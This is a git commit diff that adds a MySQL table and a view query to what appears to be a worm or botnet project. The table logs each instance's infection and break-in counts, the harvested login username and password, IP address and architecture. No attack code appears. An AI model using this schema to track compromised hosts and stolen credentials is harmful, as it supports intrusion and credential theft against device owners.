diff options
author | David Timber <mieabby@gmail.com> | 2020-10-20 07:28:50 +1030 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-10-20 07:28:50 +1030 |
commit | 4c882d7216bb12d5821a108b9f11544a075c7024 (patch) | |
tree | 84fba1d9decbab537a2ddb1931ef89f219438274 /src/data/sql | |
parent | 5dbfcb1f66b681fbb6cdec8836efe2c2d84f957e (diff) |
Impl hostinfod and extras ...
* Use EOVERFLOW instead of E2BIG
* Add prne_iobuf_zero()
* Fix format check logic error in prne_htbt_ser_msg_head()
* Add prne_dup_str()
* Add prne_timespec_ms()
Diffstat (limited to 'src/data/sql')
-rw-r--r-- | src/data/sql/hi-create.sql | 19 | ||||
-rw-r--r-- | src/data/sql/hi-view.sql | 18 |
2 files changed, 37 insertions, 0 deletions
diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql new file mode 100644 index 0000000..1887d04 --- /dev/null +++ b/src/data/sql/hi-create.sql @@ -0,0 +1,19 @@ +CREATE TABLE `prne-hi` ( + `instance_id` binary(16) NOT NULL, + `inserted` datetime NOT NULL, + `updated` datetime NOT NULL, + `parent_uptime` bigint(20) unsigned DEFAULT NULL, + `child_uptime` bigint(20) unsigned DEFAULT NULL, + `bne_cnt` bigint(20) unsigned DEFAULT NULL, + `infect_cnt` bigint(20) unsigned DEFAULT NULL, + `parent_pid` int(11) unsigned DEFAULT NULL, + `child_pid` int(11) unsigned DEFAULT NULL, + `prog_ver` binary(16) DEFAULT NULL, + `boot_id` binary(16) DEFAULT NULL, + `cred_id` varchar(255) DEFAULT NULL, + `cred_pw` varchar(255) DEFAULT NULL, + `crash_cnt` int(10) unsigned DEFAULT NULL, + `arch` varchar(255) DEFAULT NULL, + `ipaddr` binary(16) DEFAULT NULL, + PRIMARY KEY (`instance_id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; diff --git a/src/data/sql/hi-view.sql b/src/data/sql/hi-view.sql new file mode 100644 index 0000000..39886db --- /dev/null +++ b/src/data/sql/hi-view.sql @@ -0,0 +1,18 @@ +SELECT + HEX(instance_id), + inserted, + updated, + parent_uptime, + child_uptime, + bne_cnt, + infect_cnt, + parent_pid, + child_pid, + HEX(prog_ver), + HEX(boot_id), + cred_id, + cred_pw, + crash_cnt, + arch, + INET6_NTOA(ipaddr) +FROM prne.`prne-hi`; |